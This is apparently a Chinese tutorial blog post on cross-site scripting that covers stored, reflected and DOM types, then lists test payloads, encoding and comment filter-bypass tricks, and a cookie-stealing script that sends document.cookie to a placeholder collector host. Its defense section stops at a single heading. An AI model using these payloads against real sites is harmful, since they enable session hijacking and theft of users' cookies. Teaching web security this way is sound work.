XSS(一)概述

文章目录

1、概述

1.1、定义

XSS(Cross-Site Scripting,跨站脚本攻击)是一种常见的Web安全漏洞,攻击者通过在目标网站中注入恶意JavaScript代码,当用户访问包含该恶意代码的页面时,浏览器会执行这段代码,从而实现攻击者的恶意目的。

  • 注意:为与CSS(层叠样式表)区分,故简称XSS而非CSS。

1.2、原理

Web应用程序未对用户输入的数据进行严格的验证、过滤或转义,导致攻击者输入的恶意脚本被当作合法代码嵌入到页面中,并被其他用户的浏览器解析执行。

  • 本质是"信任了不可信的输入",将用户输入的数据直接或间接输出到页面,未做安全处理。

2、XSS的分类

2.1、存储型

2.1.1、特点

恶意脚本被永久存储在目标网站的服务器中(如数据库、评论区、留言板等),所有访问该页面的用户都会触发恶意脚本的执行。

2.1.2 攻击流程

  1. 攻击者将恶意JavaScript代码注入到目标网站的可存储区域(如发布含恶意代码的评论);

  2. 目标网站将恶意代码存储到服务器数据库;

  3. 其他用户访问包含该恶意代码的页面时,网站从数据库读取恶意代码并输出到页面;

  4. 用户浏览器解析执行恶意代码,完成攻击。

2.2、反射型

2.2.1、特点

恶意脚本通过URL参数等方式注入,目标网站仅将其"反射"给用户浏览器执行,不会存储在服务器中,通常需要攻击者诱导用户点击恶意链接才能触发。

2.2.2、攻击流程

  1. 攻击者构造包含恶意JavaScript代码的URL;

  2. 通过邮件、短信、社交软件等方式诱导用户点击该恶意URL;

  3. 用户点击后,浏览器向目标网站发送请求,URL中的恶意代码被一同提交;

  4. 目标网站未对参数做安全处理,直接将恶意代码输出到页面;

  5. 用户浏览器执行恶意代码,完成攻击。

2.3、DOM型

2.3.1、特点

恶意脚本的注入和执行完全发生在客户端的DOM解析过程中,目标网站的服务器未参与数据的处理和输出,漏洞根源在于前端JavaScript代码对用户输入的处理不当。

2.3.2、攻击流程

  1. 攻击者构造包含恶意代码的URL(或诱导用户输入恶意代码);

  2. 用户访问URL或输入恶意代码后,前端JavaScript代码读取URL参数或用户输入的数据;

  3. 前端代码未对数据做安全处理,直接通过DOM操作(如innerHTML、document.write、document.cookie、document.referer、location.href等)将其插入到页面中;

  4. 浏览器解析DOM时执行恶意代码,完成攻击。

2.1、三种类型

类型 存储位置 触发方式 服务器参与
存储型 数据库 用户访问含恶意代码的页面即可触发
反射型 无(仅通过URL传递) 诱导用户点击恶意URL
DOM型 无(客户端DOM中) 用户访问恶意URL或输入恶意数据

3、XSS常见攻击手段

3.1、基础脚本注入

javascript 复制代码
<script>alert('XSS')</script> // 弹出提示,测试XSS是否存在
<script>document.location="http://ip/pikachu/pkxss/xcookie/cookie.php?cookie="+document.cookie</script>

3.2、利用HTML标签特性

javascript 复制代码
<img src=x onerror=alert('XSS')> // 图片加载失败时执行onerror事件中的脚本
<a href=javascript:alert('XSS')>点击我</a> // 点击链接时执行脚本
<script>confirm(1)</script>
<script>prompt(1)</script>
onclick='javascript:alert(xss)'

3.3、绕过技巧

  1. 大小写绕过:如,针对未区分大小写过滤的场景;
  2. 空格/注释绕过: 利用注释干扰过滤规则;
javascript 复制代码
如<script/*comment*/>alert('XSS') </script>
  1. 编码绕过:对脚本进行URL编码、HTML实体编码、Unicode编码等,如javascript:alert('XSS')可编码为javascript:%61%6C%65%72%74%28%27%58%53%53%27%29;

4、XSS防御

4.1、htmlspecialchars()函数

相关推荐
是上好佳佳佳呀21 分钟前
【前端(十一)】JavaScript 语法基础笔记(多语言对比)
前端·javascript·笔记
CDN3601 小时前
排查实录:网站偶发502/504错误?360CDN回源超时配置与日志分析技巧
前端·数据库
之歆1 小时前
Day07_CSS盒子模型 · 样式继承 · 用户代理样式
前端·css
其实防守也摸鱼1 小时前
CTF密码学综合教学指南--第三章
开发语言·网络·python·安全·网络安全·密码学
其实防守也摸鱼2 小时前
CTF密码学综合教学指南--第四章
网络·笔记·安全·网络安全·密码学·ctf
DanCheOo2 小时前
AI 应用的安全架构:Prompt 注入、数据泄露、权限边界
前端·人工智能·prompt·安全架构
DevilSeagull2 小时前
电脑上安装的服务会自动消失? 推荐项目: localhostSCmanager. 更好管理你的服务!
测试工具·安全·react·vite·localhost·hono·trpc
We་ct3 小时前
深度剖析浏览器跨域问题
开发语言·前端·浏览器·跨域·cors·同源·浏览器跨域
@insist1233 小时前
信息安全-防火墙技术演进全景:从代理NAT 到下一代及专项防火墙
网络·安全·web安全·软考·信息安全工程师·软件水平考试
weixin_427771613 小时前
前端调试隐藏元素
前端